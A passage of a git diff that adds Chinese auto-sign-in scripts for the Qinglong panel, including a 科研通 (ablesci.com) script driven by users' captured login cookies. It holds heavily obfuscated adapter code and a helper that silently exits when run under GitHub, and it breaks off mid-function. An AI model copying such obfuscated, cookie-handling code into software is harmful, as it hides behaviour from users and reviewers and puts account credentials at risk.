UserInfo(userCookies)) + } + userCount = userList.length + } else { + console.log(`未找到CK`) + return false; + } + + console.log(`\n共找到${userCount}个账号`) + return true +} + + + +//////////////////////////////////////////////////////////////////// +function popu(url, h, body = '') { + let host = url.replace('//', '/').split('/')[1] + let urlObject = { + url: url, + headers: h, + timeout: 5000, + } + if (body) { + urlObject.body = body + } + + return urlObject; +} + + +async function httpRequest(method, url) { + httpResult = null, httpReq = null, httpResp = null; + return new Promise((resolve) => { + $.send(method, url, async (err, req, resp) => { + try { + httpReq = req; + httpResp = resp; + if (err) { + } else { + if (resp.body) { + if (typeof resp.body == "object") { + httpResult = resp.body; + } else { + try { + httpResult = JSON.parse(resp.body); + } catch (e) { + httpResult = resp.body; + } + } + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +} +//////////////////////////////////////////////////////////////////// +function randomArr(arr) { + return arr[parseInt(Math.random() * arr.length, 10)]; +} +function phoneNum(phone_num) { + if (phone_num.length == 11) { + let data = phone_num.replace(/(\d{3})\d{4}(\d{4})/, "$1****$2"); + return data; + } else { + return phone_num; + } +} +//MD5加密 +function MD5_Encrypt(a) { + function b(a, b) { + return a << b | a >>> 32 - b + } + + function c(a, b) { + var c, d, e, f, g; + return e = 2147483648 & a, + f = 2147483648 & b, + c = 1073741824 & a, + d = 1073741824 & b, + g = (1073741823 & a) + (1073741823 & b), + c & d ? 2147483648 ^ g ^ e ^ f : c | d ? 1073741824 & g ? 3221225472 ^ g ^ e ^ f : 1073741824 ^ g ^ e ^ f : + g ^ e ^ f + } + + function d(a, b, c) { + return a & b | ~a & c + } + + function e(a, b, c) { + return a & c | b & ~c + } + + function f(a, b, c) { + return a ^ b ^ c + } + + function g(a, b, c) { + return b ^ (a | ~c) + } + + function h(a, e, f, g, h, i, j) { + return a = c(a, c(c(d(e, f, g), h), j)), + c(b(a, i), e) + } + + function i(a, d, f, g, h, i, j) { + return a = c(a, c(c(e(d, f, g), h), j)), + c(b(a, i), d) + } + + function j(a, d, e, g, h, i, j) { + return a = c(a, c(c(f(d, e, g), h), j)), + c(b(a, i), d) + } + + function k(a, d, e, f, h, i, j) { + return a = c(a, c(c(g(d, e, f), h), j)), + c(b(a, i), d) + } + + function l(a) { + for (var b, c = a.length, d = c + 8, e = (d - d % 64) / 64, f = 16 * (e + 1), g = new Array(f - 1), h = 0, i = + 0; c > i;) + b = (i - i % 4) / 4, + h = i % 4 * 8, + g[b] = g[b] | a.charCodeAt(i) << h, + i++; + return b = (i - i % 4) / 4, + h = i % 4 * 8, + g[b] = g[b] | 128 << h, + g[f - 2] = c << 3, + g[f - 1] = c >>> 29, + g + } + + function m(a) { + var b, c, d = "", + e = ""; + for (c = 0; 3 >= c; c++) + b = a >>> 8 * c & 255, + e = "0" + b.toString(16), + d += e.substr(e.length - 2, 2); + return d + } + + function n(a) { + a = a.replace(/\r\n/g, "\n"); + for (var b = "", c = 0; c < a.length; c++) { + var d = a.charCodeAt(c); + 128 > d ? b += String.fromCharCode(d) : d > 127 && 2048 > d ? (b += String.fromCharCode(d >> 6 | 192), + b += String.fromCharCode(63 & d | 128)) : (b += String.fromCharCode(d >> 12 | 224), + b += String.fromCharCode(d >> 6 & 63 | 128), + b += String.fromCharCode(63 & d | 128)) + } + return b + } + + var o, p, q, r, s, t, u, v, w, x = [], + y = 7, + z = 12, + A = 17, + B = 22, + C = 5, + D = 9, + E = 14, + F = 20, + G = 4, + H = 11, + I = 16, + J = 23, + K = 6, + L = 10, + M = 15, + N = 21; + for (a = n(a), + x = l(a), + t = 1732584193, + u = 4023233417, + v = 2562383102, + w = 271733878, + o = 0; o < x.length; o += 16) + p = t, + q = u, + r = v, + s = w, + t = h(t, u, v, w, x[o + 0], y, 3614090360), + w = h(w, t, u, v, x[o + 1], z, 3905402710), + v = h(v, w, t, u, x[o + 2], A, 606105819), + u = h(u, v, w, t, x[o + 3], B, 3250441966), + t = h(t, u, v, w, x[o + 4], y, 4118548399), + w = h(w, t, u, v, x[o + 5], z, 1200080426), + v = h(v, w, t, u, x[o + 6], A, 2821735955), + u = h(u, v, w, t, x[o + 7], B, 4249261313), + t = h(t, u, v, w, x[o + 8], y, 1770035416), + w = h(w, t, u, v, x[o + 9], z, 2336552879), + v = h(v, w, t, u, x[o + 10], A, 4294925233), + u = h(u, v, w, t, x[o + 11], B, 2304563134), + t = h(t, u, v, w, x[o + 12], y, 1804603682), + w = h(w, t, u, v, x[o + 13], z, 4254626195), + v = h(v, w, t, u, x[o + 14], A, 2792965006), + u = h(u, v, w, t, x[o + 15], B, 1236535329), + t = i(t, u, v, w, x[o + 1], C, 4129170786), + w = i(w, t, u, v, x[o + 6], D, 3225465664), + v = i(v, w, t, u, x[o + 11], E, 643717713), + u = i(u, v, w, t, x[o + 0], F, 3921069994), + t = i(t, u, v, w, x[o + 5], C, 3593408605), + w = i(w, t, u, v, x[o + 10], D, 38016083), + v = i(v, w, t, u, x[o + 15], E, 3634488961), + u = i(u, v, w, t, x[o + 4], F, 3889429448), + t = i(t, u, v, w, x[o + 9], C, 568446438), + w = i(w, t, u, v, x[o + 14], D, 3275163606), + v = i(v, w, t, u, x[o + 3], E, 4107603335), + u = i(u, v, w, t, x[o + 8], F, 1163531501), + t = i(t, u, v, w, x[o + 13], C, 2850285829), + w = i(w, t, u, v, x[o + 2], D, 4243563512), + v = i(v, w, t, u, x[o + 7], E, 1735328473), + u = i(u, v, w, t, x[o + 12], F, 2368359562), + t = j(t, u, v, w, x[o + 5], G, 4294588738), + w = j(w, t, u, v, x[o + 8], H, 2272392833), + v = j(v, w, t, u, x[o + 11], I, 1839030562), + u = j(u, v, w, t, x[o + 14], J, 4259657740), + t = j(t, u, v, w, x[o + 1], G, 2763975236), + w = j(w, t, u, v, x[o + 4], H, 1272893353), + v = j(v, w, t, u, x[o + 7], I, 4139469664), + u = j(u, v, w, t, x[o + 10], J, 3200236656), + t = j(t, u, v, w, x[o + 13], G, 681279174), + w = j(w, t, u, v, x[o + 0], H, 3936430074), + v = j(v, w, t, u, x[o + 3], I, 3572445317), + u = j(u, v, w, t, x[o + 6], J, 76029189), + t = j(t, u, v, w, x[o + 9], G, 3654602809), + w = j(w, t, u, v, x[o + 12], H, 3873151461), + v = j(v, w, t, u, x[o + 15], I, 530742520), + u = j(u, v, w, t, x[o + 2], J, 3299628645), + t = k(t, u, v, w, x[o + 0], K, 4096336452), + w = k(w, t, u, v, x[o + 7], L, 1126891415), + v = k(v, w, t, u, x[o + 14], M, 2878612391), + u = k(u, v, w, t, x[o + 5], N, 4237533241), + t = k(t, u, v, w, x[o + 12], K, 1700485571), + w = k(w, t, u, v, x[o + 3], L, 2399980690), + v = k(v, w, t, u, x[o + 10], M, 4293915773), + u = k(u, v, w, t, x[o + 1], N, 2240044497), + t = k(t, u, v, w, x[o + 8], K, 1873313359), + w = k(w, t, u, v, x[o + 15], L, 4264355552), + v = k(v, w, t, u, x[o + 6], M, 2734768916), + u = k(u, v, w, t, x[o + 13], N, 1309151649), + t = k(t, u, v, w, x[o + 4], K, 4149444226), + w = k(w, t, u, v, x[o + 11], L, 3174756917), + v = k(v, w, t, u, x[o + 2], M, 718787259), + u = k(u, v, w, t, x[o + 9], N, 3951481745), + t = c(t, p), + u = c(u, q), + v = c(v, r), + w = c(w, s); + var O = m(t) + m(u) + m(v) + m(w); + return O.toLowerCase() +} +function Env(a, b) { + return "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0), new class { + constructor(a, b) { + this.name = a, this.notifyStr = "", this.startTime = (new Date).getTime(), Object.assign(this, b), console.log(`${this.name} 开始运行: +`) + } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getdata(b) { let a = this.getval(b); if (/^@/.test(b)) { let [, c, f] = /^@(.*?)\.(.*?)$/.exec(b), d = c ? this.getval(c) : ""; if (d) try { let e = JSON.parse(d); a = e ? this.lodash_get(e, f, "") : a } catch (g) { a = "" } } return a } setdata(c, d) { let a = !1; if (/^@/.test(d)) { let [, b, e] = /^@(.*?)\.(.*?)$/.exec(d), f = this.getval(b), i = b ? "null" === f ? null : f || "{}" : "{}"; try { let g = JSON.parse(i); this.lodash_set(g, e, c), a = this.setval(JSON.stringify(g), b) } catch (j) { let h = {}; this.lodash_set(h, e, c), a = this.setval(JSON.stringify(h), b) } } else a = this.setval(c, d); return a } getval(a) { return this.isSurge() || this.isLoon() ? $persistentStore.read(a) : this.isQuanX() ? $prefs.valueForKey(a) : this.isNode() ? (this.data = this.loaddata(), this.data[a]) : this.data && this.data[a] || null } setval(b, a) { return this.isSurge() || this.isLoon() ? $persistentStore.write(b, a) : this.isQuanX() ? $prefs.setValueForKey(b, a) : this.isNode() ? (this.data = this.loaddata(), this.data[a] = b, this.writedata(), !0) : this.data && this.data[a] || null } send(b, a, f = () => { }) { if ("get" != b && "post" != b && "put" != b && "delete" != b) { console.log(`无效的http方法:${b}`); return } if ("get" == b && a.headers ? (delete a.headers["Content-Type"], delete a.headers["Content-Length"]) : a.body && a.headers && (a.headers["Content-Type"] || (a.headers["Content-Type"] = "application/x-www-form-urlencoded")), this.isSurge() || this.isLoon()) { this.isSurge() && this.isNeedRewrite && (a.headers = a.headers || {}, Object.assign(a.headers, { "X-Surge-Skip-Scripting": !1 })); let c = { method: b, url: a.url, headers: a.headers, timeout: a.timeout, data: a.body }; "get" == b && delete c.data, $axios(c).then(a => { let { status: b, request: c, headers: d, data: e } = a; f(null, c, { statusCode: b, headers: d, body: e }) }).catch(a => console.log(a)) } else if (this.isQuanX()) a.method = b.toUpperCase(), this.isNeedRewrite && (a.opts = a.opts || {}, Object.assign(a.opts, { hints: !1 })), $task.fetch(a).then(a => { let { statusCode: b, request: c, headers: d, body: e } = a; f(null, c, { statusCode: b, headers: d, body: e }) }, a => f(a)); else if (this.isNode()) { this.got = this.got ? this.got : require("got"); let { url: d, ...e } = a; this.instance = this.got.extend({ followRedirect: !1 }), this.instance[b](d, e).then(a => { let { statusCode: b, request: c, headers: d, body: e } = a; f(null, c, { statusCode: b, headers: d, body: e }) }, b => { let { message: c, response: a } = b; f(c, a, a && a.body) }) } } time(a) { let b = { "M+": (new Date).getMonth() + 1, "d+": (new Date).getDate(), "h+": (new Date).getHours(), "m+": (new Date).getMinutes(), "s+": (new Date).getSeconds(), "q+": Math.floor(((new Date).getMonth() + 3) / 3), S: (new Date).getMilliseconds() }; for (let c in /(y+)/.test(a) && (a = a.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))), b) new RegExp("(" + c + ")").test(a) && (a = a.replace(RegExp.$1, 1 == RegExp.$1.length ? b[c] : ("00" + b[c]).substr(("" + b[c]).length))); return a } async showmsg() { if (!this.notifyStr) return; let a = this.name + " \u8FD0\u884C\u901A\u77E5\n\n" + this.notifyStr; if ($.isNode()) { var b = require("./sendNotify"); console.log("\n============== \u63A8\u9001 =============="), await b.sendNotify(this.name, a) } else this.msg(a) } logAndNotify(a) { console.log(a), this.notifyStr += a, this.notifyStr += "\n" } msg(d = t, a = "", b = "", e) { let f = a => { if (!a) return a; if ("string" == typeof a) return this.isLoon() ? a : this.isQuanX() ? { "open-url": a } : this.isSurge() ? { url: a } : void 0; if ("object" == typeof a) { if (this.isLoon()) { let b = a.openUrl || a.url || a["open-url"], c = a.mediaUrl || a["media-url"]; return { openUrl: b, mediaUrl: c } } if (this.isQuanX()) { let d = a["open-url"] || a.url || a.openUrl, e = a["media-url"] || a.mediaUrl; return { "open-url": d, "media-url": e } } if (this.isSurge()) return { url: a.url || a.openUrl || a["open-url"] } } }; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(d, a, b, f(e)) : this.isQuanX() && $notify(d, a, b, f(e))); let c = ["", "============== \u7CFB\u7EDF\u901A\u77E5 =============="]; c.push(d), a && c.push(a), b && c.push(b), console.log(c.join("\n")) } getMin(a, b) { return a < b ? a : b } getMax(a, b) { return a < b ? b : a } padStr(e, b, f = "0") { let a = String(e), g = b > a.length ? b - a.length : 0, c = ""; for (let d = 0; d < g; d++)c += f; return c + a } json2str(b, e, f = !1) { let c = []; for (let d of Object.keys(b).sort()) { let a = b[d]; a && f && (a = encodeURIComponent(a)), c.push(d + "=" + a) } return c.join(e) } str2json(e, f = !1) { let d = {}; for (let a of e.split("#")) { if (!a) continue; let b = a.indexOf("="); if (-1 == b) continue; let g = a.substr(0, b), c = a.substr(b + 1); f && (c = decodeURIComponent(c)), d[g] = c } return d } randomString(d, a = "abcdef0123456789") { let b = ""; for (let c = 0; c < d; c++)b += a.charAt(Math.floor(Math.random() * a.length)); return b } randomList(a) { let b = Math.floor(Math.random() * a.length); return a[b] } wait(a) { return new Promise(b => setTimeout(b, a)) } done(a = {}) { + let b = (new Date).getTime(), c = (b - this.startTime) / 1e3; console.log(` +${this.name} 运行结束,共运行了 ${c} 秒!`), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(a) + } + }(a, b) +} +//===============================================获取远程通知======================================== +async function getNotice() { + try { + const urls = [ + "https://github.com/3288588344/toulu/raw/main/tl.json", + + ]; + let notice = null; + for (const url of urls) { + const options = { url, headers: { "User-Agent": "" }, }; + const result = await httpRequest(options); + if (result && "notice" in result) { + notice = result.notice.replace(/\\n/g, "\n"); + break; + } + } + if (notice) { $.DoubleLog(notice); } + } catch (e) { + console.log(e); + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/科研通/2025-08-25_ql_kyt_1d04491e.js b/脚本库/web版/账密/科研通/2025-08-25_ql_kyt_1d04491e.js new file mode 100644 index 0000000..f8568cb --- /dev/null +++ b/脚本库/web版/账密/科研通/2025-08-25_ql_kyt_1d04491e.js @@ -0,0 +1,627 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ql_kyt.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_kyt.js +// # Repo: imoki/sign_script +// # Path: polymerization/ql_kyt.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 1d04491e99cc59fecb7f5e32ea08d5cdd425450b69ec6078bca7adf689a7ccb7 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "科研通" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0), 青龙 + 更新时间:20241226 + 环境变量名:kyt + 环境变量值:填写网页www.ablesci.com抓包得到得cookie +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "kyt"; // 分配置表名称, (修改这里) +var pushHeader = "【科研通】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let 